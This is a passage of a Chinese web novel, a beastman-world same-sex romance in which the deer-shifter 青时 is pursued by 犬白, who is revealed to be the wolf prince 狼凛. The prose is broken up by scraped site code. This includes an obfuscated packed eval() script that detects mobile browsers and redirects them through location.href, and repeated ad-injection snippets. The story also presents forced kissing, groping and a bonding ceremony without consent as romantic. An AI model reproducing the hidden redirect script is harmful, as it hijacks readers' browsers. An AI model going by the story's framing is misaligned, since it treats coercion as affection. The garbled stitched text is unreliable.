他看着青时在火光下熠熠生辉的侧脸,心中暗暗唾弃自己:你说说你都到原始时代了,要那么高的道德水准干什么,居然拒绝和这样一个美人结婚,哎。 陈可摸了摸心口,自己也真是不要脸了,吃人家喝人家,结果到头来还拒绝人家,真是半夜坐起来都得骂自己两句。 “怎么了,不舒服?”青时注意到陈可扭曲的脸色,凑近问道。 陈可摇摇头,语气迟疑,“那个,鹿青,我拒绝和你结对,你会不会讨厌我?其实我只是想我们可以再多相处一段时间。”他不希望鹿青是因为对狐可的责任和他在一起。 “不会,别多想。”青时嘴角微微上扬,仿佛在笑他问了个傻问题。 面前之人淡淡的笑意如同揉碎的春池水,晃花了陈可的眼,也晃红了另一个人的眼。 “犬白,你角斗打完了?”陈可率先注意到走过来的犬白,走近后他看到犬白黑如锅底的脸色,诧异道:“怎么脸色这么难看,不会是打输了吧?” 犬白没有理会他,径直过来抓住青时的手臂将人从陈可面前拖走,独留他呆呆站在原地,看着两人的背影满脸惊讶。 犬白这家伙,突然这是咋了? “犬白!”犬白的步子迈得很大,手里攥得也紧,青时被半拖着踉踉跄跄跟在他身后,这狗又抽哪门子的风? 直到走进一片无人老林,犬白才停下脚步。 青时喘了口气,挣了挣手腕发现挣不脱,他也不白费力气,抬头望向犬白的后脑勺,问道:“犬白,你有什么事?” “嘶!”说完他便感觉到抓住手腕的力气又加大了几分,青时不免也有些恼,“犬白,松手。” “松手?放你回去和狐可结对吗?”犬白终于转过身,他脸色阴沉,眸底黝黑,其中似乎燃烧着熊熊怒火。 “什么?”青时因为他的问题懵了一下,神情怔忪。 犬白将青时拉到自己跟前,居高临下俯视他,“你们举行结对之礼,不告诉我?” 青时和犬白近距离贴着,抬头能看到犬白黑沉的眼眸,这个角度,那双下垂的无辜眼变得狭长,带着野兽的凶厉,给人凝重的压迫感。 眉头微微皱了下,青时解释道:“不是,我们没……” “不是什么?”犬白打断他的话,捏住他的下颌用力上扬,俯身贴近他的脸,质问,“没打算结对却参加结对之礼,没打算结对你对他笑?” 这条狗突然这是怎么了,说的话莫名其妙,青时搞不懂他什么意思,因为他的态度他也没了解释的心情,硬邦邦回了句:“关你什么事。” “关我什么事?哈……”喉间吐出一声短促的笑,犬白心中涌起熊熊火焰,在青时瞪大的双眼中贴上了他颜色浅薄的双唇。 “你!唔……”借着青时开口的机会,他一举攻城破池,侵入进了口腔,和主人外在的清冷不同,口腔里湿、滑、软、暖,初接触便令犬白失去了理智。 青时被动承受着犬白这个不像吻的吻,急切的、狼狈的、凶猛的,仿佛要将他吞吃入腹。 他推搡着犬白的肩膀,发出含糊的声音,“疯,疯狗!停!”结果却换来犬白更加深入的侵占,犬牙咬破了他的嘴唇,铁锈味弥漫在两人的舌尖。 青时渐渐在他的进攻下失去力气,在终于被放开后,他喘着气,大脑一片空白。 原本颜色浅淡的薄唇,被吮吸得肿大了一倍,上面布满了细碎的伤口,深红的血液点缀其上,衬托得他整个人宛若被鲜血污染的圣洁白玉,不再高不可攀,而是带着醉人的破碎,让人忍不住心生亵渎之意。 犬白举起手掌,看清上面透明的水样液体后,他笑道:“你看看,你这样,能满足自己的雌性吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483030|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 缓过神的青时怒视他,没忍住抬手给了他一巴掌,“疯子!” “啪”清脆的一声,犬白的头被打偏,青时趁他愣神的功夫化身白鹿逃离了此地。 身后犬白望着化成一缕烟飘走的白鹿,舌尖顶了顶抽痛的脸颊,心中的怒火奇异般平息了下来。 犬白这条疯狗! 青时跳进平日洗澡的水潭,心情久久难以平静,他抚上自己千苍百孔的嘴唇,微微刺痛告诉他刚才的一切都是真实发生的。 远山般的眉毛因为主人复杂的心境纠结成团,这时候他若还是不知道犬白是什么意思,他就真成傻子了。 那家伙,喜欢他?为什么……明明他们都是雄性兽人…… 现在想来那家伙一开始就在装乖! 真是……疯狗! 青时为自己先前觉得他可爱的想法感到懊恼。 他又想到犬白手上那水样的液体,本以为这次的角色不聋不哑的,是个正常人,现在看好像也不是很正常。 先前他从未自渎过,所以不知道,鹿青他是个无精症患者? 浑身水汽的青时神情恍惚地走到山洞前时,陈可正在用他新做的陶锅煮鱼汤,而犬白靠在洞口的石壁上思索着什么。 “鹿青,你去洗澡了?”陈可注意到青时,朝他招手,“回来得正好,鱼汤差不多可以喝了。” 等他走近些,陈可注意到他伤痕累累的嘴唇,皱眉道:“你这……怎么回事,怎么伤成这样?” 青时抿了抿嘴,感受上面的刺痛,语气平淡道:“被狗咬了。” “噗。”陈可以为他在开玩笑,凑上前仔细看了下,“嗯,确实像是狗咬的,哈哈哈。” 犬白一手搭上陈可的肩膀,将靠近青时的他往后拉,“你的鱼汤要溢出来了。” “啊!我的鱼汤!”陈可转身去看他的锅。 犬白双眼直视青时,他已经从陈可那里知道,两人今天并没有打算参加结合之礼,只是去那边观摩,不过他并不后悔先前对青时所做的事。 他看出来了,如果他不明说,这只小鹿恐怕一直都不会明白他的心思。 他从来都是随心所欲的性子,没想到会有这么瞻前顾后的一天。 “谈谈?” 青时避开他的眼神,走向一旁的树林。 他们是得好好谈谈! 犬白率先开口,“先前是我不对,我以为你们要结对,所以才……” “你今天就从我的山洞里搬出来,收留你够久了。”青时语气冷漠,不想听他废话。 “我不,”犬白抓起青时的手掌,捏着他的手指放到自己的虎牙上,“鹿青,你没那么讨厌我的吧?每次我露出这两颗犬牙的时候,你的眼睛都是亮晶晶的,你喜欢的,给你摸。” 说着他将青时的手指含进嘴里,用虎牙轻轻摩挲。 感受着指尖微微的痒意,青时瞳孔微微放大,他确实很喜欢犬白这两颗虎牙,偷偷看过几次,没想到他以为的隐晦视线,犬白竟然注意到了。 这一下,他的气势莫名矮了几分,“你……别转移话题。” 41.白鹿9 “呜……”犬白竟然露出欲哭的表情,头顶仿佛有一对无形的耳朵耷拉下去,整个人一副可怜兮兮的样子,“别赶我走,鹿青,我错了。” 青时某些过分的话一下子梗在喉咙里,他暗骂了一声自己没出息,侧过头垂下眼睑,“别装可怜,我不会心软。” 犬白嘴角悄悄翘起,他知道青时已经心软了,于是乘胜追击,“鹿青,青青……” 青时哪见过他这样没脸没皮之人,一时间乱了方寸,“雌性不好吗,我们都是雄兽人。” 犬白纯黑的瞳孔完整清晰地印出青时皎月般出色的面容,“可是我只喜欢你,从看见你的第一眼开始,我的眼里就再也看不到别人了,这都怪你。” 青时被他的话整无语了,咬牙道:“你个疯狗,还怪上我了!” 犬白第一次在青时脸上看到这么生动的表情,他贪婪地注视着,“是,我疯了。”他将青时的手放到自己心口上,“听到你要和狐可结对的时候,看到你对他笑的时候,我妒忌得发疯。” 听到犬白直白的话语,手掌感受着他蓬勃的心跳,青时几度轻启薄唇,却想不出回答点什么。 他的心乱了。 像是察觉到他的困境,外头突然传来陈可的呼喊声:“鹿青,犬白,可以吃晚饭啦!” 青时猛的抽回手,逃也似的离开。 “给,尝尝这鱼汤。”陈可递给青时一碗奶白的鱼汤,他瞧了眼坠在后面的犬白,“你们两个聊什么呢,去这么久?” “先前也是,他就那样把你拉走,丢下我一个人,哼。” “……没什么。”青时端着碗,不知如何解释这混乱的局面。 陈可偷偷瞪了一眼犬白,他刚才反应过来,鹿青嘴上的伤口可能就是犬白这条狗咬的,还是一寸寸舔着咬,不然哪会伤成那样。 可恶,他拿他当兄弟,他却觊觎他的老婆,太过分了,鹿青的嘴他都没亲过! “哼!”越想越生气,陈可拿不出好脸色给犬白,“鱼汤没你的份!” 犬白没把他幼稚的反击放在眼里,站在青时身边,也不说话,就睁着水汪汪的眼睛看他。 青时见不得他这幅模样,叹了口气,对陈可说:“我先进去。”说完便端着碗进了山洞。 犬白想跟着进去,却被陈可拦住去路,“犬白!亏我拿你当兄弟,你居然挖我墙角!”他眯起眼,突然想到什么,“你小子不会一开始就打的这个主意吧?!” 犬白勾起一侧嘴角,笑得肆意,“是啊,你们又没结对,你没听过一句话吗?能者得之。” “你!”陈可指着他气得浑身发抖。 他恨不得穿越回去踢死几天前拒绝青时的自己,让你清高,让你拒绝,现在好了,别人闻着味了就来了! 犬白瞥了跳脚的陈可一眼,绕过他进了洞,陈可见他进去,顾不上生气,追在后面也跟着进去。 青时正在打磨箭头,坚硬的骨头在石轮上一点点打磨成型,是很容易让人沉下心的一件事。 鹿青很小的时候因为身体太弱被抛弃,年幼的他成为流浪兽人,在流浪的路上遇到了鹰叔。 鹰叔是个很神秘的人,据他自己所说,他来自遥远天界的边际之山,那是天与地的连接之处。 这个说法青时打个问号,不过鹰叔懂的东西确实很多,鹿青的弓箭就是他所传授的,还教了他一些稀奇的草药知识。 要知道这些知识在部落可是只有巫及其学徒能掌握的。 只是后来有一天鹰叔突然不见了,鹿青再也没见过他,再后来就遇到了狐山。 手底下的骨头发出沙沙的声响,很治愈,让青时纷杂的心绪放松下来。 犬白和陈可站在不远处看着面色平静柔和的青时,呼吸放轻,默契地没有上前打扰。 葱削般的指尖捏着骨片,一时分不清手更白还是骨片更白。 青时盯着骨片的目光那样专注,犬白恨不得自己代替那片骨。 三人就这样一个磨两个看,诡异地沉默下去,直到滚烫的鱼汤热气不在,青时才缓缓放下手中打磨成型的骨片。 犬白仗着腿长,两步跨过来,拿起青时被骨片印出红痕的手指,怜惜地伸出舌尖舔了舔。 慢了一步的陈可报复地踹了一脚犬白,笑着对青时说:“鹿青,饿不饿,鱼汤都冷了,我给你热一下。” 青时摇摇头,“不用了。”他转头看向犬白,说道:“犬白,我有话和狐可谈。” 明晃晃的赶人。犬白眼神暗沉一瞬,还是听话的放开手出了山洞。 犬白那条烦人的狗出去了,陈可却忽然开始紧张,他心中有些不安,特别是听到青时说的话时,不安达到了顶点。 青时:“狐可,对不起,我可能要辜负狐山叔的嘱托,我们……还是不要做伴侣比较好……” 陈可急忙打断他的话,“为什么?因为那个犬白?你要抛弃我吗?” “不是,不关他的事,”知道陈可误会了,青时赶忙解释,“是我的身体有问题,我们结对的话……不会有幼崽。” “我也是才发现,所以……” 听到这个回答陈可松了口气,“这有什么,没关系的。” 青时摇着头,狐山对他很好,他不能在明知自身有问题的情况下再去耽误狐可。 “狐可,我会搬出去,日后我会当你是弟弟。” 陈可脸色唰一下变白,他后退一步,颤抖着嘴唇说不出话。 青时见他这样上前拍了拍他的头顶,“别担心,我就在旁边新挖一个山洞,不会去很远的地方。” 感受着头顶温暖的触感,陈可知道眼前之人心意已决,他劝不了他,只是他还是有些不甘心,“那你,会和犬白在一起吗?” “……”青时沉默了一瞬,随后答道:“不会。在你找到另一半之前我不会离开你。” “那要是我一直找不到呢?” “不会的,你聪明又勇敢,会有很多人喜欢你。” 陈可低着头不让他看到自己的眼泪,但声音还是夹杂了哽咽,“也包括你吗?” “嗯。” 青时只带走了自己的弓箭,其他都留给了陈可。 百无聊赖站在山洞口的犬白,时不时朝山洞里看一眼,心中猜测两人到底在谈什么。 看到背着弓箭出来的青时,他眼中闪过一丝讶然,“你这是?” 青时轻飘飘地看了他一眼,“犬白,以后这就是狐可的山洞,你……” “你要走?”犬白急切地打断他的话。 “……没有,我会在旁边重新开一个。” 闻言犬白双眼睁大,心中冒出喜意,“你打算挖在哪?我帮你!” “不用,”青时冷漠地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝了他,“犬白,我们之间没可能,你也搬回去吧。” 犬白丝毫没有因为青时的冷淡生气,没了狐可,他有的是耐心和信心拿下这只傲娇的小鹿。 看青时离开他连忙追上去,死缠烂打,“好好好,我也搬出来。你就让我帮你一起挖吧,两个人挖得快些!” …… 最后,挖山洞的青时看着左边端着水果茶的陈可,右边举着块大石头的犬白,头疼地扶额。 怎么有种摆脱了但又没完全摆脱的即视感。 * 合部落第一勇士——虎猛,乘着夜黑他悄悄走进魔鬼之森,没有漫无目的的闲逛,他明显目的地明确。 “真准时,看来你是真的很想让豹山死啊。”阴暗的沙哑声音从树后传出。 虎猛停下脚步,“三天后,月亮隐入黑暗的时刻动手。蛇莽,你的人手召集得如何?” “放心,足够了。” “好。”确认完虎猛便离开了此地。 藏身树后的蛇莽看着他的背影,眼中散发着阴冷的光。 背叛部落和游兽合作的兽人,真是有趣。 蛇莽回忆起那天豹山下令让虎猛解决游兽,结果虎猛阳奉阴违居然和身为游兽的他谈合作。 于是他让他抓走了压在他头上的老大蛇溪,彻底掌握了这支游兽队伍。 不过,虎猛真的以为凭他可以掌握游兽吗? 他会给他一个惊喜的。 …… 数千游兽的到来让合部落沦为一片火海,哀嚎和咆哮声响彻整个部落。 青时的山洞终归是没有挖完,就因为这突如其来的攻击而终止。 “这是怎么了?”陈可瞪大了眼,他只在电视里见过这种场面。 青时望着部落山上蔓延的火势,又看了眼面色苍白的陈可,对一旁的犬白说:“犬白,麻烦你帮我看着狐可,我得去部落中心看看。” 怎么会突然受到攻击,为什么没有示警,他得去弄清楚发生了什么。 “不行,”犬白抓住青时的手臂拦住他,“你们两个躲好,我去看看。” 青时:“……好,你小心。” “嗯,放心。” 犬白去了山上,青时带着陈可找了个隐蔽的地方躲着。 “老大说的那个会做陶器的雌性就住在这边吗?” “他们部落人自己说的,还能有假?” “嘿嘿,听说是个狐狸兽人,不知道味道怎么样?” “抓住人你玩玩就知道了。” “别玩死了,人还有用呢。” “放心,有分寸。” …… 十来个高大的兽人从他们不远处经过,青时认出打头的人是上次在蛇溪那边见过的游兽。 难道是上次逃走的游兽回来报复? 但这阵仗未免也太大了。 “二哥,洞里没人!” “什么?!这么点时间应该没跑远,给我仔细搜!” 遭了,他们现在藏身的地方距离山洞并不远,要真让他们搜过来,一抓一个准。 但是现在带着陈可转移也不现实,青时抓住陈可的手臂,轻声说:“狐可,你待在这儿,别出声,我去引开他们。” 陈可双手捂住自己的嘴,极速点了点头,眼泪在框里打转,哽咽道:“小心点。” 42.白鹿10 “咻” 草丛里射出的冷箭瞬间刺中一个游兽的脖子。 “那里有人!” “追!” 青时变身白鹿引着人朝另一边跑去,时不时回头放支冷箭,削弱游兽的实力。 等到消耗的差不多他才停下收割,鹿角刺穿最后一个游兽的肚子时,白鹿已经变成了红鹿。 青时变回人身,稍稍喘了两口气,他凝神望向山上的火光,虽然很想上去看看,但又怕陈可一个人不安全,听那些游兽讲的话他们可是专门来抓陈可的,难保不会有另外的人来。 还是相信犬白吧。 青时转身往回走。 “鹿青,你没事吧?”陈可看到青时浑身的血液,担忧道。 “没事,都是别人的血。没有其他人来吧?” 陈可摇摇头。 青时颔首,“嗯。你继续躲着,我守在外面。” 青时背靠石壁坐下,闭着目神经却一直紧绷。 哀嚎不知何时停止,大火渐歇,天光乍现。 青时猛然睁开眼,浑身浴血的狼狗出现在他的视线里。 紧跟其后的还有断了前掌的老虎、皮毛烧焦的黑熊等等。 青时迎上去,用询问的眼神看向打头的犬白,“这是?” 犬白变回人形,一头白毛上全是血污,他神情疲惫,伸手揽住青时的腰,将他抱进怀里,“好累。” 青时被他扑得一踉跄,不得不伸手扶住他,稳住身形。 站稳后,他看向犬白身后,那些野兽已经恢复人身,都是合部落的兽人,此刻的他们着实惨烈,缺胳膊少腿的,浑身还都是烧伤,只有队伍中间那几位雌性看着状态稍微好一些,只是脸被熏得有些黑。 青时还在雌性队伍里看到了一个眼熟的人——豹沐,他眼圈泛红,神情恍惚,一副魂不附体的模样。 昨夜山上究竟发生了什么? 青时看向队伍最前面的的虎杆,问道:“虎杆,昨晚部落发生了什么?你们怎么这副模样?” 虎杆脸色灰白地坐在地上,垂头丧气,不言不语。 看见他的表现,青时微微皱了眉头,又转向其他人,所有人都是一副如丧考妣的模样。 “兔叽?你们这是怎么搞得?山上发生了什么?”陈可听见动静从藏身的地方出来。 趴在虎杆肩膀上的兔兽人听到熟悉的声音耳朵动了动,他抬起头看到陈可,红着眼圈说:“狐可,部落……部落没了……” 陈可惊讶道:“什么?!怎么回事?” “都是那该死的虎猛!”提到这个名字兔叽神情突然变得凶狠,恨不得食其肉啖其骨,“他居然联合游兽袭击部落,首领和巫……都没了……” “游兽被我们打退,但是族人没剩多少了,虎猛带走了几个,剩下的都在这里。” 陈可张着嘴说不出话来,这短短几句话描述的内容太过惨烈。 青时听得眉头紧皱,合部落在这南部一带也算是大部落,没想到一夕之间竟然分崩离析。 “你们接下来打算怎么办?那些游兽可能还会回来,这里恐怕不能呆了。” “我们这些人伤的伤,残的残,还能去哪呢?” “只能去投奔别的部落,不然就要当流浪兽人了。” “距离我们最近的是岩部落,我们去那问问?” “也好。” …… 合部落剩下的一众人拍板决定去投奔距离最近的岩部落,他们大部分都是青壮年,还有雌性,想来岩部落应该不会拒绝。 “鹿青,你们呢,要和我们一起吗?”兔叽看青时三人没有参与他们的讨论,问道。 青时抿了抿唇,他确实不想和他们一起去加入岩部落,如今合部落没了,他身上的桎梏也消失了,那个被他抛在脑后的维护任务终于等来了契机。 只是……青时侧头看了眼陈可,他若是去了中部,狐可怎么办? 陈可注意到青时为难的眼神,当即道:“你要去哪,我跟着,你说过不会丢下我的!” 哎。青时暗叹一声,说道:“我们就不和你们一起走了,我打算去中部。” 听到中部二字,犬白眼眸深处划过一道亮光。 “中部?”有人讶然道。 要知道中部和南部隔得可并不近,而且那里对于他们这种一辈子生活在南部的兽人而言是完全陌生的地方,很少有人愿意背井离乡去一个陌生的地方生活。 青时带着陈可和黏上来的犬白告别合部落的众人,踏上了前往中部的路程。 此时的兽人大陆已经悄然进入了旱季,灼热的阳光炙烤大地,进入中部后树木逐渐减少,出现在他们面前的是一望无际的平原。 没有了树木的遮挡,太阳更加毒辣,脚踩在尖端泛黄卷曲的草叶,如同行走在刀尖。 青时和犬白还好,身为雌性的陈可有些受不住,于是他们走走停停,十多天也才走了计划中的一小段路。 入夜后被晒得滚烫的河水冷却下来,热得不行的陈可一个猛子扎进去。 “哇,活过来了!”他躺尸一样浮在河面上感叹。 青时看他恢复往日的活泼,眼眸中闪过一抹温柔的笑意,如初雪融化,把一旁的犬白酸得不行,跨步上前挡住青时的视线,“别偷看雌性洗澡。” 青时无奈地瞥了一眼醋意十足的犬白,转身坐到不远处的石头上,背对河面。 犬白跟过去坐在他身边,“鹿青,还没问你,你为什么想来中部啊?” 青时抬头望着晴朗的夜空,“听说中部的所有部落被一位兽王统一,想去看看这位兽王治下的部落是什么样的。” 犬白挑了挑眉,“这样吗,那你肯定不会失望,那里有着兽人大陆最大最繁华的部落。” “嗯?”青时的视线移动到犬白身上,“你去过?” “当然。” “那你怎么会来南部加入合部落,以你的实力加入兽王部落应该不难。” “也许……”犬白嘴角上扬,慢慢凑近青时,“是兽神的安排,为了让我遇到你。” 青时眉头微动,伸手将他推开,“别贫。” 一捧凉水从背后浇到犬白身上,陈可一手揽住青时的肩膀,不客气地对犬白说:“坏狗,你离鹿青远一点!” 犬白咬牙盯着他搭在青时肩头的手,恨不得盯出个洞来。 臭小子,要不是鹿青太在乎你,你以为自己还能活到现在! “手拿开!” “就不就不!” “你!”…… 眼看两人又吵起来,青时叹了口气,他都快习惯了,这两人一天能吵吵好几回。 他将陈可的手拿下来,对两人说:“我去洗澡。”说完便朝河边走。 留在原地的两人恨恨地对视一眼,停下了争吵。 犬白本想跟着去河边,结果他抽抽鼻子,风里带来的气息让他脚下拐了个方向。 一人高的茅草丛里钻出一只灰白的狼,他原地摇头晃脑,将身上的叶子抖掉,随后变成了人形,这竟然是一个狼兽人。 他有着一头灰白的头发,眼型狭长,野性十足。 “狼星,你怎么来了?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茅草外站着一位白发古铜肤色的兽人,不是犬白又是谁。 被叫做狼星的狼兽人朝着犬白单膝跪下,“王子,王说十几天前就感知到您回了中部,结果这么多天也不见您回部落,所以让我来看看您是不是出了什么意外。” “我能出什么意外,”犬白双手抱胸,撇嘴道,“不过是队伍里带了个拖油瓶。” “王子您找到神巫所说的神选之人了吗?”狼星兴奋道。 “啧。”犬白想到陈可平日的奇思妙想,不太高兴地回答:“算是找到了。” “嗯?”狼星头顶冒出一个问号,怎么找到神选之人王子却不是很高兴的样子? 犬白哪能高兴啊,要不是有陈可这么个灯泡,他早就把青时叼回窝里了。 狼星:“王子,神选之人是雌性还是雄性?要派人来接吗?” “不……”犬白下意识拒绝,然后突然想到回到部落不就可以将陈可丢给神巫,他和青时两人双宿双飞,于是他话头一转,“狼星你赶紧叫人来接,越快越好!” “是,王子!” 犬白带着对没有陈可打扰的美好未来的憧憬,回到了河边。 陈可头枕着块大石头睡得正香,青时没在,他环视一周,在不远处的河中央上发现了泡在水里的青时。 坏笑一声,他偷偷跳进河里。 青时在水中贪凉,身体忽然感觉到水下的暗动,他的视线转向水面,一道巨大的白色影子朝着他冲过来,速度很快。 这河中难道有什么他没有发现的猎食动物? 还没来得及做出反应,白色的身影就在他面前破水而出,长长的吻部伸到他眼前,“呜~” 看清眼前的东西青时一口气梗在喉中,“犬白,你……” 犬白变回人形眨巴着眼,“吓到了?” 青时没好气的瞪了他一眼。 犬白咧嘴一笑,伸手揽住青时的细腰,他很喜欢看平时清冷的小鹿流露出别样的情绪,因为这样才会让他觉得自己是真的将这轮明月抓在手心。 青时低头去掰他的手,“松手,我要上岸。” 好不容易有机会,犬白哪里会松手,他的手揽得更紧,两人之间的距离无限接近。 “鹿青,好青青,你抬头看看我。”耳边传来的声音仿佛嗓子里含着糖块,甜蜜中带着诱哄。 青时浑身一震,耳根瞬间红透,腰上的手臂如同铜墙铁壁,不给他丝毫挣扎的余地,这种情况他怎么敢抬头。 见他侧着头没反应,犬白也不强求,张嘴将小巧精致的耳朵含进口腔。 尖锐的虎牙摩擦着耳背,带来似痛似痒的感觉,软滑的舌头则舔舐着敏感的内耳廓,黏腻的水声仿佛直接出现在脑海之中。 青时浑身发麻,颤抖着手抵在犬白的胸膛,上身后仰,将饱受欺凌的耳朵救出来。 “够了!” 劲瘦的腰勾勒出弯月一样的弧度,那双清冷的眸子覆盖上一层水雾。 好涩! 犬白喉头滚动,一只手下滑,声音暗哑道:“可是青青你这里,不是这样说的。” 被拿捏住要害,青时瞬间失了力气,他咬着牙怒视过分的犬白,殊不知自己这副模样只会让某条狗更加激动。 揽着腰的手上移,托住后颈,青时的头被迫扬起,犬白伸舌舔上他紧闭的双唇,含住,吸吮。 手心一热,犬白扬了扬嘴角,“唔,好快。” 回答他的是青时不留情面的一脚,“滚。” 犬白及时地松开炸毛的小鹿,再招惹下去他怕青时会跟他拼命。 43.白鹿11 经过这么多天暴晒,陈可全身都黑了一个度,而青时全身的皮肤依旧莹白如玉。 此时那张精致的脸和往常一样面无表情,但是陈可从那双仿佛粹着寒冰的双眸中看出些许不对劲。 他偷偷拉住犬白,“喂,你是不是背着我干了啥惹鹿青生气了?” 犬白回忆起昨夜的甜蜜滋味,嘴角微勾,“你猜。” 陈可翻了个白眼给他,“臭狗。” 青时忽然示意两人停下脚步,因为他注意到前方飞扬的尘土。 仔细看去,原来是几匹奔跑的独角马,独角马是中部草原的特色野兽。 青时感觉到奇怪,一般野生的独角马看到他们应该早就跑开,这几匹居然直冲他们而来。 等看到坐在前排马上的兽人时,青时才反应过来这居然是兽人驯养的独角马。 几匹独角马稳稳停在他们面前,两个长得一模一样的兽人从马上下来。 狼星正打算跟自家王子打招呼,结果就收到了王子的眼神,到嘴的话转了个弯,“你们好,我叫狼星,这是我弟弟狼月。我们是中部王帐部下,特来迎接神使前往部落。” 神使?青时的目光从身旁的两人的身上划过,最后落在陈可身上,要说神之使者这位穿越人士好像还蛮符合的。 “神使是谁啊?”陈可惊讶道。 狼星接收到王子的眼神讯息,笑道:“神使正是您啊。” “啊?”陈可睁大双眼,“我?” 一旁的狼月开口,“没错,您踏入中部领土时,神巫就已接到兽神的指引。” “这……”难不成兽神向那个什么神巫透露了他穿越者的身份? 陈可一时懵了,求助的眼神望向青时这个他最亲近的人。 青时安慰似的拍拍他的肩膀,询问狼星二人:“你们说自己是中部兽王的人可有凭证?” “当然,”狼星和狼月从腰间兽皮袋里掏出一块铁石,上面浇筑着一颗狰狞的狼头,“这是我们王帐护卫的身份牌。” 铁制的令牌可不是谁都能做的,青时确认了二者的身份,低声问陈可:“这二人身份没问题,你看要跟着他们去吗?如果你不想去的话我带你回南部。” 青时平稳的声调让陈可冷静下来,他没从狼星狼月两人身上感觉到敌意,对那个可能知道自己身份的神巫有些兴趣,于是便说:“我跟你们走,但得带上我这两位朋友。” “那是当然。”狼星微笑道。 有人带路又有代步工具,青时他们很快便来到了中部兽王治下的部落。 一条银丝带从高耸的山巅落下,流入一望无垠的草原,丝带两旁分布着一个个大大小小的兽皮帐篷,五颜六色的,堪称一道靓丽的风景线。 不远处,一群大角羊在兽人的驱赶下慢悠悠吃着草;更远的地方,还有些青时没见过的野兽,看样子兽王部落已经开始畜牧养殖了。 对比南部那些靠山吃山的部落,这里确实先进很多。 “哇,游牧民族吗?!”自从进了兽王部落范围,陈可的眼睛再也没停下来过,这里的一切都是那么新鲜。 狼星带着他们上了山,可能因为背阴,山上的温度比山下低,一进山一股凉爽的风便扑面而来。 山上的住处不是兽皮帐篷,而是四四方方的石头堆积成的,非常气派。 狼星给他们安排了一个石头屋,叫他们住下。 陈可和青时也没跟人客气,赶了这么久的路,是该好好歇会儿。 屋里的石头桌上放着一陶罐的清水,陈可先给青时倒了一碗又给自己倒了一碗,两口喝下肚,“嗯!好喝,这个水甜甜的。” 青时也尝了口,确实不错,清冽甘甜,上好的山泉水。 “犬白人呢?”陈可突然发现他们好像少了个人。 “不用管他。”青时依稀注意到犬白好像没跟着他们上山,许是山下有什么吸引了他。 “对,不管他。”陈可站起来伸了个懒腰,“鹿青,我睡会儿。” “好。” 青时坐着歇了会儿,门外忽然走过一群兽人。 “你听说了吗,狼凛王子回来了。” “真的啊,不是说王子出门历练了吗,这么快就回来了?” “据说是王子在外面找到伴侣了,回来举行结合礼嘞!” “什么?!狼凛王子铁树开花了?” “去去去,有你这么编排王子的吗!” “王子的伴侣长什么样啊,有人见过吗?” “没见过,不过听说长得比咱们部落的第一美人雌性兔梧还漂亮哩!” “乖乖,那得多好看呐!”…… 一不小心就听了一耳朵八卦。 没想到他的任务对象也刚刚回到部落,真是来得早不如来的巧。 不知道狼凛的伴侣是个什么样的人,抢老婆他可是头一次,怎么样算抢呢? 青时有些苦恼。 * 第二天一早,陈可被带去见神巫。 犬白一夜未归,青时身边一时空落下来,得了清静。 直到入夜,犬白先陈可一步回来,他似乎很高兴,进来牵起青时的手,拽着他出去。 “鹿青,快跟我来。” 青时以为他要带自己看什么新鲜玩意儿,没挣开,跟着走了。 犬白拉着青时往山下跑,隔很远便看到山下燃烧的火堆和人群的喧嚣。 今天兽王部落是有什么活动吗? 带着这样的疑问 ,青时跟着犬白来到了平原上,一眼望去,人真的很多。 嗷呜—— “来了!来了!” 人群自发的分开道路,供青时和犬白走过,尽头是一座石头高台,台上站着一位面带沟壑的老人,他身穿白色棉麻长袍,头戴凤羽冠,是巫的打扮。 青时的心跳忽然开始加快,他察觉到不对劲,张了张嘴想问前面的犬白什么,声音却被周围的喧嚣压下。 直到他们走上石台,站到老人面前,喧嚣声才渐歇。 “尊敬的兽神啊,您威严如炬,仁慈如江,感谢您赐予这片土地富饶与生机……请您见证,狼凛和鹿青,结合之礼,成!” 说完祝词神巫将手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中陶碗中的羊血泼到青时和狼凛身上。 明明是温热的血液,却让青时如坠冰窖。 不仅是犬白突然这样草率拉他来举行结合之礼,更因为神巫念出的那个名字,狼凛! 犬白……是男主狼凛?! 这突如其来的消息让青时脑子乱成了一锅粥。 在他愣神的时候,一旁的犬白,哦不,应该叫狼凛,嗷呜一声变成兽形将他压倒在地。 体型庞大的银狼和娇小的人身对比鲜明,一根舌头就能覆盖青时的整张脸。 纤弱的手臂埋在银狼的毛发中,若隐若现的姝色让现场的气氛变得火热,兽吼一声接着一声,变为兽身的兽人双目火热的扑向自己的伴侣,没有伴侣的兽人则对月嚎叫,发泄心中的火气。 原始兽人大陆的野蛮与直率,在这一刻展露无疑。 银狼受到现场氛围的感染,双目发红,舔舐羊血的舌逐渐过分,粗粝的舌在莹白的肌肤上留下道道红痕。 青时脑袋浑噩,身体无助的在银狼爪下挣扎,但他这点力气,哪里争得过兽形的狼凛,浑身被欺负了个遍。 好在狼凛还留有一丝理智,没打算在众目睽睽之下和青时□□,舔过瘾后变回人身,抱起四肢无力的青时上了山。 山下的狂欢还在继续,喧嚣渐远,青时浑噩的脑子逐渐清醒,他看向满脸兴奋的狼凛,眉头紧锁,不可置信地问道:“你真的是……兽王之子……狼凛?” 没想到青时第一句话问的居然是这个,狼凛疑惑地眨了眨眼,“这很重要吗?” 青时想骂脏话,他以为的任务开始,结果告诉他是任务结束? “你!……”青时也不知道走到这一步究竟是该怪别人还是怪自己,所以要抢的男主老婆是他自己? 这要怎么抢?! 山顶的石头是玄黑色的,平铺的石头中间有一汪池水,清澈见底,映照着天空中的圆月,池边盛开着蓝白相间的蝴蝶花,随风摇曳,美不胜收。 